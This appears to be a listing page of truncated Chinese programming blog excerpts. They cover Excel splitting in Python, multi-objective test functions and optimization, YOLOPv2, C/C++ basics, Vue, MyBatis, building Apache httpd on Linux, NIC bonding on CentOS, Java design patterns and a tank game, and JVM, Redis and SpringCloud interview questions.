思路:先定义数组,然后用xlrd读取excel表格并提取所需要的数据用openpyxl进行保存,而后用pandas进行数据拆分处理。 import os import xlrd import openpyxl import pandas as pd # pip install -i https://pypi.tuna.tsinghua.edu.cn/simple/ xlrd==1.2.0 file_path = r'' #excel表格所在路径 file_save = r'' + '\\' #excel拆分保存所在路径 files= [] for dirpath, dirnames, filenames in os.walk(file_path): for file in filenames: if file.endswith('.xlsx') or file.endswith('.xls'): files.append(dirpath + '\\' + file) for file in files: wb2 = openpyxl.Workbook() ws2 = wb2.active print(file) ID = [] BARCODE = [] EPC = [] ACCESSCODE = [] ID.

DTLZ测试函数系列

DTLZ测试函数系列 目录DTLZ1DTLZ2DTLZ3DTLZ4DTLZ5DTLZ6DTLZ7DTLZ8DTLZ9 目录 介绍DTLZ测试函数系列(DTLZ1-DTLZ9) DTLZ1 DTLZ1是一个具有线性Pareto最优面的较简单的M个目标的测试问题,其描述如式子(11.25)所示。 在这里插入图片描述 DTLZ2 DTLZ2其描述如式子(11.27)所示。 DTLZ3 为了测试一个MOEA收敛到全局Pareto最优的能力,在DTLZ2中采用DTLZ1中的所建设的函数g(Xm),从而得到DTLZ3的测试问题,如式(11.30)所示。 DTLZ4 为了测试一个MOEA保持解的良好的分布度你的能力,修改DTLZ2,采用不同的决策变量到目标函数的映射方式,得到DTLZ3的测试问题,如式(11.31)所示。 DTLZ5 DTLZ5与DTLZ2的表达式再形式上相似,只是用于关于X的函数θ取代原目标函数中的x的取值,其描述如式(11.32)所示。 DTLZ6 对DTLZ5的函数g加以修改,使问题变得更复杂而得到DTLZ6的测试问题。函数g为 DTLZ7 DTLZ7是一个具有一组不连续Pareto最优面的测试问题,其描述如式(11.34)所示. DTLZ8 DTLZ8的描述如式(11.35)所示. DTLZ9 DTLZ9的描述如式(11.36)所示. 参考书籍,郑金华,邹娟著. 多目标进化优化. 北京:科学出版社, 2017.05.

更好、更快、更强的多任务全景感知YOLOPv2,目标检测、freespace、车道线检测

今年5月29日,小汤给大家分享了《端到端的多任务感知网络HybridNet,性能优于YOLOP》,论文 HybridNets: End2End Perception Network,代码已开源,在目标检测、车道线、freespace的多任务感知任务上性能优于YOLOP,取得了新SOTA。视频效果如下: 端到端的多任务感知网络:目标检测、车道线、freespace,性能优于YOLOP。HybridNets: End-to-End Perception Network 但仅仅3个月,‍YOLOPv2又来了,实现了新的反超。 paper:https://arxiv.org/pdf/2208.11434v1.pdf code:https://github.com/CAIC-AD/YOLOPv2 1 摘要 在上一个十年里,多任务学习网络在解决全景驾驶感知问题方面取得了优异的表现,同时实现了精度和效率的大幅提升。多任务学习框架已经成为有限计算资源条件下实时自动驾驶系统设计的主流选择。本文提出了一种有效且高效的多任务学习网络——YOLOPv2,可以同时完成目标检测、可行驶区域分割和车道检测三个任务。 YOLOPv2模型在具有挑战性的自动驾驶基准数据集BDD100K 上的准确性和速度方面实现了新的SOTA。尤其是与之前的YOLOP、Hybrid-Net等SOTA模型相比,推理时间减少了一半。 2 简介 尽管计算机视觉和深度学习已经取得了显著的巨大发展,但对于object detection、segmentation、lane detection等基于视觉的任务而言,在低成本自动驾驶的应用中仍然不一件容易的事情。 全景驾驶感知系统(Panoptic Driving Perception)通过摄像头或激光雷达等常规传感器,帮助车辆全面了解车身周围的情况。基于相机的目标检测和目标分割任务通常在场景理解的实际使用中得益于其较低的成本而受到广泛选择。目标检测在提供交通障碍物的位置和大小信息方面发挥着重要作用,帮助自动驾驶汽车在行驶阶段做出准确及时的决策。同时,可行驶区域分割和车道线检测也为路径规划和提高行车安全提供了丰富的信息。 目标检测和目标分割是CV方向的两个长期研究课题。经过近年来的发展,已经诞生了一系列的出色工作,包括 CenterNet、Faster R-CNN 和 YOLO 系列等。常见的目标分割网络常用于可行驶区域划分,例如:UNET、SegNet 和 PSPNet等。而对于车道检测/分割而言,需要更强大的网络来提供更好的高层和低层特征融合,从而考虑全局结构上下文信息。然而,在实时自动驾驶系统中为每个单独的任务运行单独的模型通常是不太现实的。在此背景下,多任务学习网络应用而生,为节省计算成本提供了一种潜在的解决方案,网络通常被设计成encoder-decoder模式,其中encoder被不同的任务有效共享。 在本文中,在对历史方法进行了深入分析之后,提出了一种有效且高效的多任务学习网络——YOLOPv2,并在具有挑战性的 BDD100K 数据集上进行了相关实验。 YOLOPv2在3个任务中都取得了最佳性能:目标检测任务的 AP50 为 0.83,可行驶区域分割任务的 mIOU 为 0.93,车道线检测的准确率为 87.3。与 Baseline 相比,性能得到了大大的提升。此外,将在NVIDIA TESLA V100上运行的FPS达到了 91,远远高于 YOLOP 模型在相同实验设置下的 49 FPS 。这进一步说明模型可以降低计算成本并保证实时预测,同时为其他实验研究的改进留出空间。 YOLOPv2的主要贡献如下: Better:提出了一种更有效的模型结构,并开发了更复杂的免费袋,例如,在对数据预处理执行 Mosaic 和 Mixup 以及应用了一种新的混合损失;Faster:为模型设计了更高效的网络结构和内存分配策略;Stronger:模型是在强大的网络架构下训练完成的,具有良好的通用性,可以适应各种场景并同时保证速度; 3 YOLOPv2 3.1 概况 YOLOPv2是基于 YOLOP 和 HybridNet,保留了其核心设计理念,但利用强大的 backbone 进行特征提取。此外,与现有工作不同的是,利用encoder的3个分支来执行特定任务,而不是在同一分支中运行可行驶区域和车道检测任务。

C++ - STL标准库

1.C++ STL标准库简介 长久以来,软件界一直希望建立一种可重复利用的东西,以及一种得以制造出”可重复运用的东西” 的方法,从函数(functions),类别(classes),函数库(function libraries),类别库(class libraries)、各种 组件,从模块化设计,到面向对象(object oriented ),为的就是复用性的提升。 复用性必须建立在某种标准之上。但是在许多环境下,就连软件开发最基本的数据结构(data structures) 和算法(algorithm)都未能有一套标准。大量程序员被迫从事大量重复的工作,竟然是为 了完成前人已经完成而自己手上并未拥有的程序代码,这不仅是人力资源的浪费,也是挫折与痛苦 的来源。 为了建立数据结构和算法的一套标准,并且降低他们之间的耦合关系,以提升各自的独立性、弹 性、交互操作性(相互合作性,interoperability),诞生了STL。 STL(Standard Template Library,标准模板库),是惠普实验室开发的一系列软件的统称。现在主要 出现在 c++中,但是在引入 c++之前该技术已经存在很长时间了。 STL 从广义上分为: 容器(container) 算法(algorithm) 迭代器(iterator)。 容器和算法之间通过迭代器进行无缝连接。STL 几乎所有的代码都采用了模板类或者模板函数,这 相比传统的由函数和类组成的库来说提供了更好的代码重用机会。 STL(Standard Template Library)标准模板库,在我们 c++标准程序库中隶属于 STL 的占到了 80%以 上。 2.STL容器使用时机 .vectordequelistsetmultisetmapmultimap典型内存结构单端数组双端数组双向链表二叉树二叉树二叉树二叉树可随机存取是是否否否对key而言:不是否元素搜寻速度慢慢非常慢快快对key而言:快对key而言:快元素安插移除尾端头尾两端任何位置---- vector的使用场景:比如软件历史操作记录的存储,我们经常要查看历史记录,比如上一次的记 录,上上次的记录,但却不会去删除记录,因为记录是事实的描述。 deque的使用场景:比如排队购票系统,对排队者的存储可以采用deque,支持头端的快速移除, 尾端的快速添加。如果采用vector,则头端移除时,会移动大量的数据,速度慢。 vector与deque的比较: 一:vector.at()比deque.at()效率高,比如vector.at(0)是固定的,deque的开始位置 却是不固定的。 二:如果有大量释放操作的话,vector花的时间更少,这跟二者的内部实现有关。 三:deque支持头部的快速插入与快速移除,这是deque的优点。 list的使用场景:比如公交车乘客的存储,随时可能有乘客下车,支持频繁的不确实位置元素的移 除插入。 set的使用场景:比如对手机游戏的个人得分记录的存储,存储要求从高分到低分的顺序排列。 map的使用场景:比如按ID号存储十万个用户,想要快速要通过ID查找对应的用户。二叉树的查找 效率,这时就体现出来了。如果是vector容器,最坏的情况下可能要遍历完整个容器才能找到该用 户。 3.vector容器 vector的数据安排以及操作方式,与array非常相似,两者的唯一差别在于空间的运用的灵活性。 Array是静态空间,一旦配置了就不能改变,要换大一点或者小一点的空间,可以,一切琐碎得由 自己来,首先配置一块新的空间,然后将旧空间的数据搬往新空间,再释放原来的空间。 Vector是动态空间,随着元素的加入,它的内部机制会自动扩充空间以容纳新元素。因此vector的 运用对于内存的合理利用与运用的灵活性有很大的帮助,我们再也不必害怕空间不足而一开始就要 求一个大块头的array了。 Vector的实现技术,关键在于其对大小的控制以及重新配置时的数据移动效率,一旦vector旧空间 满了,如果客户每新增一个元素,vector内部只是扩充一个元素的空间,实为不智,因为所谓的扩 充空间(不论多大),一如刚所说,是”配置新空间-数据移动-释放旧空间”的大工程,时间成本很高, 应该加入某种未雨绸缪的考虑,稍后我们便可以看到vector的空间配置策略。 基本使用: #include "stdafx.h" #include <iostream> #include <vector>//动态数组 using namespace std; int main() { vector<int> v1;//构造一个空的vector cout << "

C语言入门01—软件配置

C语言入门01 软件配置 文章目录 前言一、Visual Studio 2022 下载地址二、安装步骤1.点击下载好的安装包2.选择需要安装的版本3.更改安装的位置4.选择所需的工作负荷5.点击安装,等待安装完成。 三、安装完成,测试软件。1.新建项目2.输入测试代码 总结 前言 随着计算机学习的深入,博主也开始学习C语言,故分享一篇C语言编辑器的安装教程。以下所使用的是Visual Studio 2022 社区版。 提示:以下是本篇文章正文内容,下面案例可供参考 一、Visual Studio 2022 下载地址 点击下载 二、安装步骤 1.点击下载好的安装包 如下(示例): 2.选择需要安装的版本 3.更改安装的位置 4.选择所需的工作负荷 如果只进行C语言开发建议只选择c++的桌面开发,按照自己所需进行选择。 5.点击安装,等待安装完成。 三、安装完成,测试软件。 1.新建项目 2.输入测试代码 #include <stdio.h> int main() { printf("Holle world!"); return 0; } 总结 以上就是今天分析的内容!

C语言 Static关键字的作用详解

前言: static 是用来修饰函数和变量的,可以修饰局部变量,全局变量以及函数 一、修饰局部变量 (称为静态局部变量) 来看俩段代码: 对于第一段代码来说,它循环5次,每次调用一下fun()函数,而fun()函数每次进去的时候,x的值都为0,所以,当x++后,每次输出的值都为1 对于第二段代码来说,与第一种情况相类似,循环5次,每次输出x的值;但是,与第一段代码不相同的是,x是由static定义的, static对x 只定义一次,x的值不会随着fun()这个函数的结束而被释放掉,直到程序结束,它的生命周期才结束。所以每次fun()函数执行的时候,x的值都会在原来值的基础上加1. 当然,用static修时变量时,其默认值为0 二、修饰全局变量 (称为静态全局变量) 当static修饰全局变量时,只能在当前源文件使用,不能在其他源文件下使用 extern int x:声明x为其他文件的变量;我们可以发现编译不通过,但是如果将static关键字移除,程序就可以通过: 三、修饰函数 (称为静态函数) 当static修饰函数的时候,此函数只能在当前源文件使用,不能在其他源文件下使用 当fun()函数未被static修饰时,在 源.cpp 中可以正常执行 test.cpp 中的 fun() 函数,程序正常运行 然而,当fun()函数被static修饰时,程序就会出错 四、总结 1.当static修时局部变量时,变量只能被初始化一次,且static静态局部变量,其生命周期为整个进程,直到程序结束。(static修时变量时,默认值为0) 2.当static修时全局变量时,只在当前源文件有效,不能在其他源文件使用 3.当static修时函数时,只在当前源文件有效,不能在其他源文件使用

分类(类别)组件

此分类组件支持无限级 categoryData:分类树节点集合,数据格式为:[id: 1000000, pid: 0, name: ‘Level 1’, children: []], 其中children字段中的每一项与当前项的结构一致,值可为:null或[]或[id: 1000000, pid: 0, name: ‘Level 1’, children: []],也可以不存在 events:为事件集合 selectAllEvent:为点击节点分类中某一个等级的全部按钮事件,返回的是当前节点的信息,此时的id为-1,-1表示的是全选 selectSingleEvent:为点击当前分类节点的按钮事件,返回的是当前节点对应的数据 一、父组件 父组件文件路径:/src/views/CategoryContainer.vue <template> <Category :categoryData="categoryData" :events="events"></Category> </template> <script> import Category from "@/components/category.vue"; export default { name: "CategoryContainer", components: { Category, }, data() { return { categoryData: [], events: { selectAllEvent(data) { const { id, pid } = data; console.log("全选", { id, pid }); }, selectSingleEvent(data) { const { id, pid } = data; console.

Mybatis能够正常运行的时候,.xml文件中property属性报红

最近在学习mybatis,这是在学习时遇到的一个小bug。 我的代码可以运行成功,但是property报红。 上网也找了很多方法,最后在Department类中生成get和set方法的时候发现: 原来是set和get方法没有设置好。 下面这个图片是未修改之前的代码,之前为了使属性名字规范化改成了驼峰但是没有修改set和get方法名,只修改了类里面set和get方法里面this.后面的名字。 所以就出现了:代码可以跑起来,但是xml里面property报红。 原因是:resultMap在注入值和取值的时候儿,用的就是那个get set方法,idea它能识别出get set方法名是否匹配。 最后修改好了,也就不报错了: 就浅浅记录这些把。 

Linux 安装httpd(apache)超详细教程

Linux 安装httpd(apache)超详细教程 1.什么是apache 2.apache的作用 3.实验所需要的环境 4.实验步骤 (yum安装,编译安装) 什么是apache: Apache是一款非凡的应用软件,它是世界上使用最广泛的Web服务器应用程序,并且在商业Web服务器市场中占有超过50%的份额。Apache是类Unix操作系统中使用最广泛的Web服务器应用程序,可以在几乎所有平台上使用,例如Windows等。Apache是取自Native的名字美国部落’ 阿帕奇’,以其在战争和战略制定方面的技能而闻名。 Apache是一个基于流程的模块化Web服务器应用程序,它通过每个同时连接创建一个新线程。它支持许多功能; 其中许多都被编译为单独的模块并扩展其核心功能,并且可以提供从服务器端编程语言支持到身份验证机制的所有功能,它允许单个Apache Web服务器为许多不同的网站提供服务。 apache的作用: 1.解析网页语言,如html,php,jsp等 2.接收web用户的请求,并给予一定的响应 以下是个人理解: apache主要用户解析静态网页如html 若你想在Linux上面制作自己的一个静态网站,可以使用apache的web服务软件来对外发布,这种的web服务软件还有比如:nginx 也是解析静态网页的,tomcat可以解析动态网页 实验所需要的环境: 需要安装包的同学可以私信我!!! 实验环境所需要的安装包centos7操作系统httpd-2.4.25.tar.gz 实验步骤: 注意事项:编译安装和yum安装只能选一个,不然会冲突了 编译安装apache: 将所需要的安装包拖至系统桌面中: 需要安装包的同学可以私信我!!! 编译安装步骤: //解压httpd安装包到 /usr/src/目录下面 tar -zxvf /root/桌面/httpd-2.4.25.tar.gz -C /usr/src/ //yum安装httpd所需要的依赖包: yum -y install zlib* openssl* apr* pcre-devel openssl* //进入httpd目录 cd /usr/src/httpd-2.4.25/ //安装httpd所需要的模块: ./configure --prefix=/usr/local/httpd --enable-so --enable-rewrite --enable-charset-lite --enable-cgi --enable-mpms-shared=all --with-mpm=worker --enable-cgid --enable-deflate --enable-ssl --enable-modules=most --enable-modes-shared=most //编译安装,并嵌入系统内核 (耐心等待) make && make install //制作路径优化: 注意:*号前面没有空格 ln -s /usr/local/httpd/bin/ * /usr/local/bin/ //将文本复制到 /etc/init.

多目标白鲸优化算法

1.白鲸优化算法 参考论文:Zhong C, Li G, Meng Z. Beluga whale optimization: A novel nature-inspired metaheuristic algorithm[J]. Knowledge-Based Systems, 2022: 109215. 主要内容:本文提出了一种基于白鲸行为的元启发式算法白鲸优化(BWO)来解决优化问题。BWO建立了探索、开发和捕鲸三个阶段,分别对应于对游、猎物和落鲸的行为。BWO中鲸鱼跌倒的平衡因子和概率是自适应的,对控制勘探开发能力起着重要作用。此外,在开发阶段引入了征税飞行来增强全球收敛性。利用30个基准函数对该BWO的有效性进行了测试,并进行了定性、定量和可扩展性分析,并将统计结果与其他15种元启发式算法进行了比较。根据结果和讨论,BWO是一种解决单峰和多模态优化问题的竞争算法,通过弗里德曼排名检验,第一个比较元启发式算法之间基准函数的可扩展性分析。最后,四个工程问题证明了BWO在解决复杂的现实世界优化问题中的优点和潜力。 白鲸的行为示意图如下:游泳,对应于勘探阶段;觅食,对应于开发阶段;鲸鱼坠落,为鲸鱼坠落的阶段。 算法总体框架示意图如下: 2.NSGAII 参考论文:Deb K, Pratap A, Agarwal S, et al. A fast and elitist multiobjective genetic algorithm: NSGA-II[J]. IEEE transactions on evolutionary computation, 2002, 6(2): 182-197. 3.多目标白鲸优化算法(MOBWO) 在原论文中,白鲸优化算法是对单目标进行优化的。这里为了实现多目标白鲸优化算法,现将白鲸优化算法嵌入到NSGAII中,从而解决多目标优化问题。程序具体由matlab编程实现,具体核心代码如下所示: (1)多目标白鲸优化算法(MOBWO)(无约束版本) %--------------------------------------------------------------------- %程序功能:实现多目标白鲸优化算法(MOBWO)(无约束),测试函数为ZDT1,ZDT2,ZDT3,ZDT4,ZDT6,DTLZ1,DTLZ2 %择优策略:非支配排序,拥挤度计算,精英选择 %交配池:二元竞争选择 %遗传算子:白鲸优化算法(BWO) %参考论文1:Deb K, Pratap A, Agarwal S, et al. A fast and elitist multiobjective %genetic algorithm: NSGA-II[J].

CentOS 7 双网卡bond 网卡mac 相同的处理

背景 网络组通知一几台主机的双网卡是同样的mac。交换机成了环路,无法学习mac 排查过程 首先检查 /etc/modprobe.d/bond.conf 文件,确实是 mode=1, 应该使用 active backup(主备模式)的模式, 但是通过使用 nmtui 命令调出图形界面检查,确是round-robin(双活轮询)模式。 说明/etc/modprobe.d/bond.conf 于是在/etc/sysconfig/network-scripts/ifcfg-bond0 添加如下配置 BONDING_OPTS=”miimon=100 mode=1" BONDING_MASTER=yes 然后重启 network systemctl restart network 分别使用 ifconfig 和 nmtui 检查网卡信息, 返现nmtui看到的bond 模式确实切换成了active backup(主备模式),但是两张物理网卡和 bond0 虚拟网卡的 mac 依然是相同的。 经过搜索, /etc/sysconfig/network-scripts/ifcfg-bond0 添加配置 fail_over_mac=1, 最终添加如下配置 BONDING_OPTS=“miimon=100 mode=1 fail_over_mac=1” BONDING_MASTER=yes 重启网卡 systemctl restart network 再次查看网卡mac, 此时 bond0的mac与正在工作的master网卡一致,slave 网卡有自己的mac, 此时拔掉正在工作的master网卡的网线,bond0的mac就切换为了之前 slave 网卡的 mac。网络通信正常, 主备切换正常。 后记 /etc/modprobe.d/bond.conf 为什么不生效依然没搞清楚 关于fail_over_mac参数: bond0获取mac地址有两种方式,一种是从第一个活跃网卡中获取mac地址,然后其余的SLAVE网卡的mac地址都使用该mac地址;另一种是使用fail_over_mac参数,是bond0使用当前活跃网卡的mac地址,mac地址或者活跃网卡的转换而变。

Java设计模式之解释器模式

目录 1. 解释器模式1.1 定义、优缺点、适应场景1.2 模式的结构与实现 1. 解释器模式 1.1 定义、优缺点、适应场景 定义:解释器模式(Interpreter Pattern),是指给定一个语言(表达式),来表示它的文法,并定义一个解释器,使用该解释器来解释语言中的句子(表达式),并得到结果。例如在编译原理中,一个算术表达式通过词法分析器形成词法单元,而后这些词法单元再通过语法分析器构建成一颗抽象语法分析树。这里的词法分析器和语法分析器都可以看做是解释器 优点: 易于扩展文法。由于在解释器模式中使用类来表示语言的文法规则,因此可以通过继承等机制来扩展文法每一条文法规则都可以表示为一个类,因此可以方便地实现一个简单的语言增加新的解释表达式较为方便。如果用户需要增加新的解释表达式只需要对应增加一个新的终结符表达式或非终结符表达式类,原有表达式类代码无须修改,符合开闭原则 缺点: 解释器模式会引起类膨胀解释器模式采用递归调用方法,将会导致调试非常复杂、效率可能降低 适应场景: 应用可以将一个需要解释执行的语言中的句子表示为一个抽象语法树,让程序具有良好的扩展性一些重复出现的问题可以用一种简单的语言来表达一个简单语法需要解释的场景比如编译器、运算表达式计算、正则表达式、机器人等 1.2 模式的结构与实现 结构: 环境角色(Context): 含有解释器之外的全局信息抽象表达式(AbstractExpression): 声明一个抽象的解释方法,这个方法为抽象语法树中所有的节点所共享终结符表达式(TerminalExpression): 实现与文法中的终结符相关的解释操作非终结符表达式(NonTermialExpression): 为文法中的非终结符实现解释操作Client:通过Client输入Context和TerminalExpression信息 实现: 通过解释器模式来实现整数四则运算,如计算a+b-c的值,具体要求 先输入表达式的形式,比如a+b+c-d+e, 要求表达式的字母不能重复再分别输入a ,b, c, d, e的值最后求出结果 import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.util.HashMap; import java.util.Stack; public class InterpreterTest { public static void main(String[] args) throws IOException { // 例如:expStr = a+b-c String expStr = getExpStr(); // 例如:inputMap = {a=10, b=30, c=20} HashMap<String, Integer> inputMap = getInputMap(expStr); // 进行计算器表达式的构造 Calculator calculator = new Calculator(expStr); // 将inputMap传入计算器表达式,进行计算 System.

【0基础学java】教学日志:项目实战-坦克大战-2

本章概述:本章主要讲了如何让坦克动起来,添加键盘监听事件,每隔50ms刷新窗口自动调用画笔,添加键盘处理,根据箭头的状态来判断坦克的移动方向 目录 目录 本章概述: 一、将坦克坐标定为变量,在paint()方法中修改值,paint被调用后,就可以动起来 二、添加键盘监听事件 1、TankFrame 运行效果 ​编辑 三、在主线程每隔50ms刷新窗口,调用repaint()方法,repaint()会自动调用paint(g) 1、TankFrame 2、Main 运行效果 四、添加键盘处理,根据上下左右箭头的按键状态,判断坦克的移动方向 1、TankFrame 本章概述: 一、将坦克坐标定为变量,在paint()方法中修改值,paint被调用后,就可以动起来 public class TankFrame extends Frame { int x = 200,y=200; public TankFrame(){ setTitle("tank war"); setSize(800,600); @ -28,6 +30,8 @@ public class TankFrame extends Frame { @Override public void paint(Graphics g) { // System.out.println("paint"); g.fillRect(200,200,50,50); g.fillRect(x,y,50,50); x += 50; y += 50; } } 二、添加键盘监听事件 1、TankFrame import java.awt.*; import java.awt.event.KeyAdapter; import java.awt.event.KeyEvent; import java.

Java面试题——虚拟机

什么是 Java 虚拟机?为什么 Java 被称作是“平台无关的编程语言”? Java 虚拟机是一个可以执行 Java 字节码的虚拟机进程。Java 源文件被编译成能被 Java 虚拟 机执行的字节码文件。Java 被设计成允许应用程序可以运行在任意的平台,而不需要程序员为每一个平台单独重写或者是重新编译。Java 虚拟机让这个变为可能,因为它知道底层硬件平台的指令长度和其他特性。 GC是什么?为什么要有GC GC 是垃圾收集的意思(Gabage Collection),内存处理是编程人员容易出现问题的地方, 忘记或者错误的内存回收会导致程序或系统的不稳定甚至崩溃,Java提供的 GC 功能可以自 动监测对象是否超过作用域从而达到自动回收内存的目的,Java 语言没有提供释放已分配内 存的显示操作方法。 ClassLoader如何加载class 。 jvm里有多个类加载,每个类加载可以负责加载特定位置的类,例如,bootstrap类加载负责加载jre/lib/rt.jar中的类, 我们平时用的jdk中的类都位于rt.jar中。extclassloader负责加载jar/lib/ext/*.jar中的类,appclassloader负责classpath指定的目录或jar中的类。除了bootstrap之外,其他的类加载器本身也都是java类,它们的父类是ClassLoader。 解释内存中的栈(stack)、堆(heap)和方法区(method area)的用法。 答:通常我们定义一个基本数据类型的变量,一个对象的引用,还有就是函数调用的现场保存都使用JVM中的栈空间;而通过new关键字和构造器创建的对象则放在堆空间,堆是垃圾收集器管理的主要区域,由于现在的垃圾收集器都采用分代收集算法,所以堆空间还可以细分为新生代和老生代,再具体一点可以分为Eden、Survivor(又可分为From Survivor和To Survivor)、Tenured;方法区和堆都是各个线程共享的内存区域,用于存储已经被JVM加载的类信息、常量、静态变量、JIT编译器编译后的代码等数据;程序中的字面量(literal)如直接书写的100、"hello"和常量都是放在常量池中,常量池是方法区的一部分,。栈空间操作起来最快但是栈很小,通常大量的对象都是放在堆空间,栈和堆的大小都可以通过JVM的启动参数来进行调整,栈空间用光了会引发StackOverflowError,而堆和常量池空间不足则会引发OutOfMemoryError。 说一下 JVM 的主要组成部分?及其作用? 类加载器(ClassLoader) 运行时数据区(Runtime Data Area) 执行引擎(Execution Engine) 本地库接口(Native Interface)组件的作用: 首先通过类加载器(ClassLoader)会把 Java 代码转换成字节码,运行时数据区(Runtime Data Area)再把字节码加载到内存中,而字节码文件只是 JVM 的一套指令集规范,并不能直接交给底层操作系统去执行,因此需要特定的命令解析器执行引擎(Execution Engine),将字节码翻译成底层系统指令,再交由 CPU 去执行,而这个过程中需要调用其他语言的本地库接口(Native Interface)来实现整个程序的功能。  说一下 JVM 运行时数据区? 不同虚拟机的运行时数据区可能略微有所不同,但都会遵从 Java 虚拟机规范, Java 虚拟机规范规定的区域分为以下 5 个部分: 程序计数器(Program Counter Register):当前线程所执行的字节码的行号指示器,字节码解析器的工作是通过改变这个计数器的值,来选取下一条需要执行的字节码指令,分支、循环、跳转、异常处理、线程恢复等基础功能,都需要依赖这个计数器来完成;

java面试题——redis

Redis的基本数据类型? String、Hash、List、Set、Zset Redis的常见应用场景? 热点数据的缓存、限时业务的引用、计算器相关问题、排行榜相关问题、分布式锁、延时操作、分页、模糊搜索、点赞、好友等相互关系的存储、消息队列机制 什么是Redis Redis(Remote Dictionary Server) 是一个使用 C 语言编写的,开源的(BSD许可)高性能非关系型(NoSQL)的键值对数据库。 Redis 可以存储键和五种不同类型的值之间的映射。键的类型只能为字符串,值支持五种数据类型:字符串、列表、集合、散列表、有序集合。 与传统数据库不同的是 Redis 的数据是存在内存中的,所以读写速度非常快,因此 redis 被广泛应用于缓存方向,每秒可以处理超过 10万次读写操作,是已知性能最快的Key-Value DB。另外,Redis 也经常用来做分布式锁。除此之外,Redis 支持事务 、持久化、LUA脚本、LRU驱动事件、多种集群方案。 怎么保证缓存和数据库数据的一致性? 合理设置缓存的过期时间。 新增,更改,删除数据库操作时,同步更新Redis,可以使用事务机制来保证数据的一致性。 Redis有哪些优缺点 优点 读写性能优异, Redis能读的速度是110000次/s,写的速度是81000次/s。 支持数据持久化,支持AOF和RDB两种持久化方式。 支持事务,Redis的所有操作都是原子性的,同时Redis还支持对几个操作合并后的原子性执行。 数据结构丰富,除了支持string类型的value外还支持hash、set、zset、list等数据结构。 支持主从复制,主机会自动将数据同步到从机,可以进行读写分离。 缺点 数据库容量受到物理内存的限制,不能用作海量数据的高性能读写,因此Redis适合的场景主要局限在较小数据量的高性能操作和运算上。 Redis 不具备自动容错和恢复功能,主机从机的宕机都会导致前端部分读写请求失败,需要等待机器重启或者手动切换前端的IP才能恢复。 主机宕机,宕机前有部分数据未能及时同步到从机,切换IP后还会引入数据不一致的问题,降低了系统的可用性。 Redis 较难支持在线扩容,在集群容量达到上限时在线扩容会变得很复杂。为避免这一问题,运维人员在系统上线时必须确保有足够的空间,这对资源造成了很大的浪费。 Redis有哪些功能? 数据缓存功能 分布式锁的功能 支持数据持久化 支持事务 支持消息队列 Redis和Memcache有什么区别? 存储方式不同:memcache 把数据全部存在内存之中,断电后会挂掉,数据不能超过内存大小;Redis 有部份存在硬盘上,这样能保证数据的持久性。 数据支持类型:memcache 对数据类型支持相对简单;Redis 有复杂的数据类型。 使用底层模型不同:它们之间底层实现方式,以及与客户端之间通信的应用协议不一样,Redis 自己构建了 vm 机制,因为一般的系统调用系统函数的话,会浪费一定的时间去移动和请求。 value 值大小不同:Redis 最大可以达到 512mb;memcache 只有 1mb。 Redis 为什么是单线程的? 因为 cpu 不是 Redis 的瓶颈,Redis 的瓶颈最有可能是机器内存或者网络带宽。既然单线程容易实现,而且 cpu 又不会成为瓶颈,那就顺理成章地采用单线程的方案了。关于 Redis 的性能,官方网站也有,普通笔记本轻松处理每秒几十万的请求。而且单线程并不代表就慢 nginx 和 nodejs 也都是高性能单线程的代表。

java面试题——springCloud

什么是SpringCloud? 在SpringBoot的基础上构建的微服务框架。它利用SpringBoot的开发便利性简化了分布式系统基础设施的开发,如服务发现注册,配置中心,智能路由,消息总线,负载均衡,断路器,数据监控等,都可以用SpringBoot的开发的风格做到一件启动和部署。 微服务之间是如何独立通讯的? 同步通讯:Dubbo基于RPC远程调用,SpringCloud通过REST接口json调用。 异步通讯:通过消息队列,比如RabbitMQ,ActiveMQ, Kafka. 什么是服务熔断?什么是服务降级? 熔断机制是应对雪崩效应的一种微服务链保护机制,当扇出链路的谋和微服务不可用,或者相应时间太久,会进行服务降级,进而熔断该节点微服务的调用。快速返回错误的相应信息。 当检测到该节点相应正常后恢复调用链路。 服务降级,一般是从整体负荷考虑,就是当某个服务熔断之后,服务器不在被调用,此时客户端可以自己准备一个本地的fallbacn回调,返回一个缺省值,这样,虽然水品下降,但好歹能用,比直接挂掉强。 你所知道的微服务技术栈有哪些,列举几个? 服务注册与发现:Eureka,zookeeper 服务调用:Rest、rpc、grpc 服务熔断器:Hystrix 服务器负载均衡:Ribbon、Nginx 服务接口调用:Feign 消息队列:kafka、RabbitMQ、ActiveMQ 服务配置中心管理:SpringCloudConfig 服务路由(API网关):Zuul 事件消息总线:SpringCloudBus Eureka和zookeeper都可以提供服务注册于发现的功能,区别是什么? Zookeeper:当注册中心查询到服务列表时,我们可以接受注册中心返回的是几分钟之前的消息,但是接受不了直接down掉不可用,也就是说服务注册功能对高可用性能要求比较高,但zk会出现这样一种情况,当master节点因为网络故障失去联系时,其他节点就会重新选取leader,而leader时间过长,选举期间zk集群都不可用,这样就导致选举期间注册服务瘫痪。 Eureka:保证了可用性,她的每个节点是平等的,几个节点挂掉不会影响正常节点的工作, 剩余的节点任然可以提供注册和查询服务,只要有一台Eureka的节点还在,就能保证注册服务可用,只是查到的信息可能不是最新的。 SpringCloud五大组件 微服务发现:Eureka 实现服务注册与发现 负载均衡:Ribbon 用来做客户端负载均衡 断路器:Hystrix 断路器,保护系统,控制故障范围 服务网关:Zuul 类似于Nginx 反向代理 服务调用:feign 远程调用组件 SpringCloud的优点: 产出于Spring大家族,Spring在企业级开发框架中无人能敌,来头很大,可以保证后续的更新、完善组件丰富,功能齐全。Spring Cloud 为微服务架构提供了非常完整的支持。例如、配置管理、服务发现、断路器、微服务网关等; Spring Cloud 社区活跃度很高,教程很丰富,遇到问题很容易找到解决方案服务拆分粒度更细,耦合度比较低,有利于资源重复利用,有利于提高开发效率可以更精准的制定优化服务方案,提高系统的可维护性减轻团队的成本,可以并行开发,不用关注其他人怎么开发,先关注自己的开发微服务可以是跨平台的,可以用任何一种语言开发适于互联网时代,产品迭代周期更短。 缺点:项目结构复杂,每一个组件或者每一个服务都需要创建一个项目。部署门槛高,项目部署需要配合Docker等容器技术进行集群部署,而想要深入了解Docker,学习成本高。 SpringBoot和SpringCloud的区别? SpringBoot专注于快速方便的单个个体微服务。 SpringCloud是关注全局的微服务协调整理框架,他将SpringBoot开发的一个一个单体服务整合并管理起来。为各个微服务之间提供,配置管理,服务发现,熔断器,路由,为代理,事件总线,全局锁,决策竞选,分布式回话等集成服务。SpringBoot可以离开SpringCloud独立使用开发项目, 但是SpringCloud离不开SpringBoot 